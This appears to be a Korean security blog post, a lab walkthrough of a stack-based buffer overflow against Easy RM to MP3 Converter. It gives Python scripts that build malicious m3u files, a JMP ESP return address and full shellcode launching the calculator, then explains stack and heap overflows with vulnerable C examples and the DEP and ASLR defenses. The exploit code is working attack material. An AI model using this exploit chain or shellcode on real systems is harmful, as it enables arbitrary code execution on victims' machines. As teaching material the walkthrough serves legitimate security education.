개요


보통 음악을 재생하는 프로그램(Easy RM to MP3 Converter)에서 음악 파일 혹은 음악 파일 리스트를 입력 받아 음악을 재생할 것이다. 하지만 악의적인 m3u 파일을 생성하고 로딩하여 원래 프로그램의 기능이 아닌 행위를 할 수 있다. 이번 실습에서는 스택 기반 오버플로우 기법을 이용하여 m3u 파일을 로딩시킴으로써 계산기가 띄어지도록 하는 실습을 할 것이고, 이를 통해서 스택 기반 오버플로우에 대해서 개념을 확실히 잡을 것이다.



Exploit 대상

  • Easy RM to MP3 Converter



실습 환경

  • 운영체제

Windows XP Service Pack 3: Exploit 대상인 Easy RM to MP3 Converter를 실행시킬 운영체제

Kali Linux 1.1.0: pattern을 생성하고, 검색하기 위해 사용

  • 사용한 툴

Python 2.7.10: m3u 파일을 생성하는 스크립트 작성

OllyDbg 1.1: Easy RM to MP3 Converter를 디버깅

findjmp.exe: JMP ESP 검색하기 위해 사용



실습


1. 버퍼 크기 파악


1) m3u 파일(A 10,000) 생성하는 python 스크립트를 작성하고 실행하여 m3u 파일을 생성한다. 아래의 스크립트로 생성된 crash10000m3u 파일을 Easy RM to MP3 Converter에 로딩하면 아래와 같이 정상적인 에러 메시지를 확인할 수 있다. 하지만 비정상적으로 종료가 되지 않은 것으로 보아 EIP가 변경되지 않았고, 버퍼가 넘치지 않은 것을 의미이다.


filename = 'crash10000.m3u'
junk = 'A' * 10000

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename




2) 버퍼를 넘치게 하기 위해 이번엔 아래와 같이 10,000개를 20,000개로 수정하고, 실행하여 생성된 파일을 로딩하면 위와 같은 정상적인 에러 메시지를 확인할 수 있다.


filename = 'crash20000.m3u'
junk = 'A' * 20000

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename



3) 아직 넘치지 않았기 때문에 30,000개로 변경하고, 실행하여 생성한 파일을 다시 로딩하면 이번에는 위와 같은 정상적인 메시지가 아닌 것을 확인할 수 있다.


filename = 'crash30000.m3u'
junk = 'A' * 30000

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename




4) 위에서 나온 창에서 오류에 관한 자세한 정보를 보기 위해 ‘여기를 클릭하십시요’를 클릭하면 아래와 같이 나오고, 오류 보고에 관한 기술 정보를 보려면 ‘여기를 클릭하십시요’를 누르면 아래와 같이 자세하게 볼 수 있다. 오류 내용을 확인해보면 Address가 41414141인 것을 볼 수 있는데 이는 버퍼가 넘쳐서 Return Address를 덮어 씌워져 엉뚱한 주소(41414141)로 점프한 것을 확인할 수 있다.





5) 이번에는 EIP를 내가 원하는 주소로 변경하기 위해 버퍼의 크기를 알아낼 것이다. 그래서 'A' 25,000개와 'B' 5,000개를 입력으로 스크립트를 수정한다. 아래 스크립트를 실행한 파일을 해당 프로그램에 로딩하면 역시 오류가 발생하고, 위에서 확인한 것처럼 Address를 확인해보면 42424242, 즉 버퍼가 25,000개에서 30,000개 사이인 것을 알 수 있다.


filename = 'crash250000+5000.m3u'
junk = 'A' * 25000 + 'B' * 5000

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename




6) Kali Linux에서 제공하는 pattern_create.rb(usage: ./pattern_create.rb <패턴의 개수>)를 이용하여 5,000 byte의 패턴을 생성하고, 스크립트에 삽입한다.



filename = 'crash250000+5000_2.m3u'
junk = 'A' * 25000 + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9...Gk0Gk1Gk2Gk3Gk4Gk5Gk' # created pattern

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename



7) 위에서 수정한 스크립트를 실행하여 m3u 파일을 생성하여 프로그램에 로딩하면 역시 오류가 발생합니다. 오류가 난 Address를 확인해보면 42376b42인 것을 볼 수 있습니다.



8) 위에서 확인한 주소(42376b42)를 pattern_offset.rb(usage: ./pattern_offset.rb <offset> <생성했던 패턴 개수>)를 실행하면 offset이 1101임을 확인할 수 있습니다. 즉, return address 전까지의 버퍼의 크기는 26101(=25000+1101)이 됩니다.




2. EIP & 스택 조작


1) 버퍼의 크기를 알았으니 EIP를 원하는 주소로 스크립트를 수정합니다. 그리고 아래 스크립트를 실행하여 파일을 생성한다.


filename = 'crash42424242.m3u'
junk = 'A' * 26101
eip = 'BBBB'
junk2 = 'C' * 160

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(junk2)
file.close()

print '[+] file(%s) created successfully' % filename



2) Easy RM to MP3 Converter 프로그램을 실행시킨 뒤, OllyDbg를 실행하여 File > Attach하고 실행(Debug > Run, F9)한다.




3) 위의 스크립트에서 생성된 파일을 로딩시키면 아래와 같이 멈추는데, 이 때 EIP 값이 42424242이고, 스택 한 43434343(CCCC)로 가득 채워지는 것을 확인할 수 있다. 하지만 실제로 스택의 top에도 43434343(CCCC)가 있을 것이다.




4) 이번에는 스택 상단에 정확히 원하는 값을 넣고자 EIP(42424242) 다음에 몇 byte가 사용되지 않는지 확인하기 위해 아래와 같이 코드를 수정한다.


filename = 'crashesp.m3u'
junk = 'A' * 26101
eip = 'BBBB'
junk2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(junk2)
file.close()

print '[+] file(%s) created successfully' % filename



5) 위와 같이 프로그램을 Attach한 다음 생성한 m3u 파일을 로딩한다. 그리고 스택을 보면 42424242 다음에 44434241이 pop 되어있고 ESP가 가리키는 데이터는 48474645임을 확인할 수 있다. 무슨 용도로 pop이 되는지 알고자 한다면 프로그램을 분석해야 하지만 프로그래밍을 해본 경험을 바탕으로 추측해본다면 m3u 파일을 로딩하는 함수의 매개변수가 한 개 사용했기 때문에 pop을 함으로써 4 byte가 소모 되는 것으로 생각된다.

참고(정확한 이유) >> https://www.corelan.be/index.php/forum/exploit-writing-win32-stack-bof-direct-ret/question-about-esp-in-tutorial-pt1/




6) 위에서 4 byte가 pop 되는 것을 확인하였고, EIP 다음에 pop 될 데이터와 ESP가 가리키는 데이터를 ‘C’로 채워 수정한다. 그리고 아래 스크립트를 실행하여 m3u 파일을 생성한다.


filename = 'crashesp_2.m3u'
junk = 'A' * 26101
eip = 'BBBB'
junk2 = '0000'
junk3 = 'C' * 160

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(junk2)
file.write(junk3)
file.close()

print '[+] file(%s) created successfully' % filename



7) 위에서 생성된 파일을 로딩시키면 EIP가 42424242, 스택 Top 데이터는 43434343으로 채워지는 것을 확인할 수 있다.






3. 쉘 코드 삽입


1) 이번엔 EIP를 ESP 값을, junk2를 ‘\x90(NOP)’ 4 byte, junk3을 shellcode로 변경하여 작성하고, 실행한다.


from struct import pack

filename = 'crashshell.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x000FF730)
nops = '\x90' * 4
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(nops)
file.write(shellcode)
file.close()

print '[+] file(%s) created successfully' % filename



2) 위에서 생성된 파일을 로딩시켜보면 실행될 것이라 생각했던 쉘 코드가 실행되지 않고, 스택 Top 데이터가 원하는 값이 아닌 것을 확인할 수 있다. 문제점으로는 점프하려 했던 0x000FF730은 NULL 바이트(종단 문자)를 가지고 있으므로, 원하는 지점까지 프로그램이 도달하지 못한다. 그리고 특정 메모리로 직접 점프하는 방법은 좋은 방법이 아니다. 그렇기 때문에 ESP로 점프하는 명령어(JMP ESP, CALL ESP, PUSH ESP / RETN, …)를 찾고 EIP가 그 함수를 호출하도록 하는 것이 좋다.




3) findjmp.exe(usage: findjmp.exe <DLL> <Register>)를 사용하여 JMP ESP 명령어를 검색한다. 이 프로그램을 사용하지 않고 디버거를 이용하여 실행 가능한 영역에서 JMP ESP 혹은 CALL ESP, PUSH ESP / RETN 등 기계어를 검색하는 방법이 있다.




4) 위에서 NULL 바이트가 없는 주소를 선택하여 eip 변수에 넣어서 실행한다.


from struct import pack

filename = 'crashshell_2.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x7C86467B)
nops = '\x90' * 4
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(nops)
file.write(shellcode)
file.close()

print '[+] file(%s) created successfully' % filename



5) 위의 파일을 로딩해보면 실패한 것을 확인할 수 있다. 이유를 생각해보면 JMP ESP 명령어가 실행할 때 ESP 값이 항상 0x000FF730 값일 리는 없을 것이다.




6) 그렇기 때문에 ‘\x90(NOP)’의 개수를 40개로 늘려 수정하고, 실행하여 m3u 파일을 생성한다.


from struct import pack

filename = 'crash.m3u'
junk = 'A' * 26101
eip = pack('<L', 0x7C86467B)
nops = '\x90' * 40
shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e
\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78
\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5
\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05
\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f
\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1
\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0
\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05
\x7f\xe8\x7b\xca'

file = open(filename, 'w')
file.write(junk)
file.write(eip)
file.write(nops)
file.write(shellcode)
file.close()

print '[+] file(%s) created successfully' % filename



7) 생성한 파일을 해당 프로그램에 로딩시키면 오류가 발생하지만(쉘 코드가 실행이 되고 이상한 코드가 실행이 되지만 예외처리를 하지 않았기 때문으로 추측) 아래와 같이 계산기가 띄워지는 것을 확인할 수 있다.






참고

KISEC에서 편역한 Exploit Writing 1 스택 기반 오버플로우


Written by dinger from SecurityInsight Research Group.

버퍼 오버플로우(BOF, Buffer Overflow)


버퍼 오버플로우는 할당된 버퍼 크기 이상의 데이터가 삽입되었을 때 다른 데이터 영역까지 침범하는 취약점이다. 공격하는 메모리 버퍼의 종류에 따라 스택 기반 버퍼 오버플로우 혹은 힙 기반 버퍼 오버플로우라고 불린다. 이 취약점은 사용자의 입력 값의 크기를 제한하지 않을 때 발생한다.



스택 기반 버퍼 오버플로우


스택 기반 버퍼 오버플로우 공격에 취약한 예제 프로그램을 이용하여 설명한다(모든 예제는 어떤 보호기법도 적용되지 않음을 가정한다).


#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[])
{
    char buffer[16];
    strcpy(buffer, argv[1]);
    printf(“%s\n”, buffer);
    return 0;
}


위 코드는 입력된 첫 번째 매개변수를 버퍼에 담아서 출력하는 코드이다. 여기서 strcpy 함수는 복사할 매개변수(argv[1])의 크기를 확인하지 않고 복사될 매개변수(buffer)에 복사하기 때문에 strcpy 함수가 취약하다.


위 그림에서 첫 번째 그림은 매개변수(argv[1])를 ‘A’ 11개, 두 번째 그림은 ‘A’ 15개, 세 번째 그림은 ‘A’ 23개를 입력했을 경우이다. 19개까지 입력해도 아무 이상 없지만 20개를 넘으면 버퍼를 넘어서 SFP(Saved Frame Pointer)와 Return Address를 덮어 쓰여져 의도치 않은 코드를 실행할 가능성이 있다.



힙 기반 버퍼 오버플로우


힙 기반 버퍼 오버플로우 공격에 취약한 예제 프로그램을 이용하여 설명한다.


#include <stdio.h>
#include <stdlib.h>

int main()
{
    unsigned int addrdif;
    char* buf1 = (char*)malloc(sizeof(char) * 8);
    char* buf2 = (char*)malloc(sizeof(char) * 8);

    addrdif = (unsigned int)buf2 - (unsigned int)buf1;
    memset(buf2, ‘A’, 7);
    buf2[7] = ‘\0’;
    printf(“buf2: %s\n”, buf2);

    memset(buf1, ‘B’, (unsigned int)(addrdif + 4));
    printf(“buf2: %s\n”, buf2);

    return 0;
}


위 코드는 각각 8 byte 동적 할당하고 두 번째 할당 받은 메모리를 ‘A’ 7개할당 받은 주소의 차를 구한다. 그리고 두 번째 할당 받은 메모리를 ‘A’ 7개로 초기화하고, 첫 번째 할당 받은 메모리에 주소 차에 4을 더한 만큼 ‘B’를 채운다.




첫 번째 그림은 위 코드가 실행되는 동안의 스택이고, 두 번째 그림은 첫 memset 함수가 실행되고 다음 줄까지 실행한 힙, 세 번째 그림은 다음 memset 함수가 실행되었을 때의 힙의 모습이다. 첫 번째 memset 함수와 마지막 바이트를 NULL로 채우고 출력하면 ‘A’가 7개가 출력이 되고, 두 번째 memset 함수를 실행하면 buf2의 크기인 8을 넘어서 buf1까지 침범하여 ‘A’ 7개가 아닌 ‘BBBBAAA’가 출력된다. 즉, memset 함수를 사용할 때 메모리 크기를 확인하지 않았기 때문에 이처럼 메모리를 침범하는 문제가 발생한다.



대응 방안


버퍼 오버플로우를 대응하기 위한 방법으로는 DEP, ASLR 등이 있다. DEP(Data Execution Prevention)는 실행되지 말아야 하는 메모리 영역에서 코드의 실행을 방지하여 임의의 코드가 실행되는 것을 방지하는 방어 기법이다. Windows에서 사용되며 Linux의 NX-bit와 같은 것이다. 그리고 ASLR(Address Space Layout Randomization)은 PE 파일(exe, dll 등)이 실행될 때마다 즉, 메모리에 로딩될 때마다 Image Base값을 계속 변경해주는 기법이다.





참고

해커스쿨에서 출간한 버퍼 오버플로우에 관한 책(리눅스 상에서의 BOF)

'Buffer Overflow 보호 기법 및 우회 기법' NSHC 문서

정보 보안 개론과 실습 - 시스템 해킹과 보안


Written by dinger from SecurityInsight Research Group.

+ Recent posts